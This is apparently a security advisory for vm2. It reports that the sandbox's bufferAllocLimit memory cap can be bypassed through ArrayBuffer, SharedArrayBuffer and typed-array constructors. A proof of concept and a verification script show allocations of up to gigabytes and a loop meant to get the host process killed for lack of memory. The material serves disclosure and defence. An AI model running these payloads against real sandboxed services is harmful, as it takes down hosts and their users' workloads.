vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass

Summary:

The bufferAllocLimit defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using ArrayBuffer, SharedArrayBuffer, or any TypedArray constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as Buffer.alloc but are not subject to the size cap.

Details:

The bufferAllocLimit option (vm2 v3.11.0+) caps Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, and the deprecated Buffer(N) / new Buffer(N) forms. The cap is enforced in setup-sandbox.js via checkBufferAllocLimit() (line 353-359).

However, ArrayBuffer, SharedArrayBuffer, Uint8Array, Float64Array, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (v8::ArrayBuffer::NewBackingStore → ArrayBufferAllocator::Allocate → calloc/malloc). These constructors are NOT intercepted by the bufferAllocLimit defense.

A single new ArrayBuffer(N) call with a large N exhausts host RSS in one synchronous allocation that V8's timeout cannot interrupt.

Environment:

• vm2 version: 3.11.3
• Node.js: v25.8.1 (affects all Node.js versions)
• Configuration: Default new VM() or any configuration including bufferAllocLimit

POC:

const { VM } = require('vm2');

// Operator sets bufferAllocLimit thinking they're protected:
const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap

// Buffer.alloc IS capped (as intended):
try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }
catch(e) { console.log('Buffer.alloc blocked:', e.message); }
// → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760"

// But these BYPASS the cap entirely:
vm.run('new ArrayBuffer(1024 * 1024 * 1024)');        // 1GB allocated!
vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)');  // 1GB allocated!
vm.run('new Uint8Array(1024 * 1024 * 1024)');         // 1GB allocated!
vm.run('new Float64Array(128 * 1024 * 1024)');        // 1GB allocated!

// OOM kill in constrained environments (Docker, K8s, Lambda):
vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))');
// → 10GB allocated → host OOM killed

Verification:

node -e '
const {VM} = require("./lib/main.js");
const vm = new VM({bufferAllocLimit: 10*1024*1024});
try { vm.run("Buffer.alloc(20*1024*1024)"); } catch(e) { console.log("Buffer BLOCKED"); }
console.log("ArrayBuffer:", vm.run("new ArrayBuffer(100*1024*1024).byteLength"), "bytes allocated");
console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(100*1024*1024).byteLength"), "bytes allocated");
'
# Output:
# Buffer BLOCKED
# ArrayBuffer: 104857600 bytes allocated
# SharedArrayBuffer: 104857600 bytes allocated

Impact:

• Type: Denial of Service (Host Memory Exhaustion)
• Attack Complexity: Low
• Availability Impact: Complete, host process OOM killed in memory-constrained environments
• Affected deployments: Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set bufferAllocLimit believing they have DoS protection.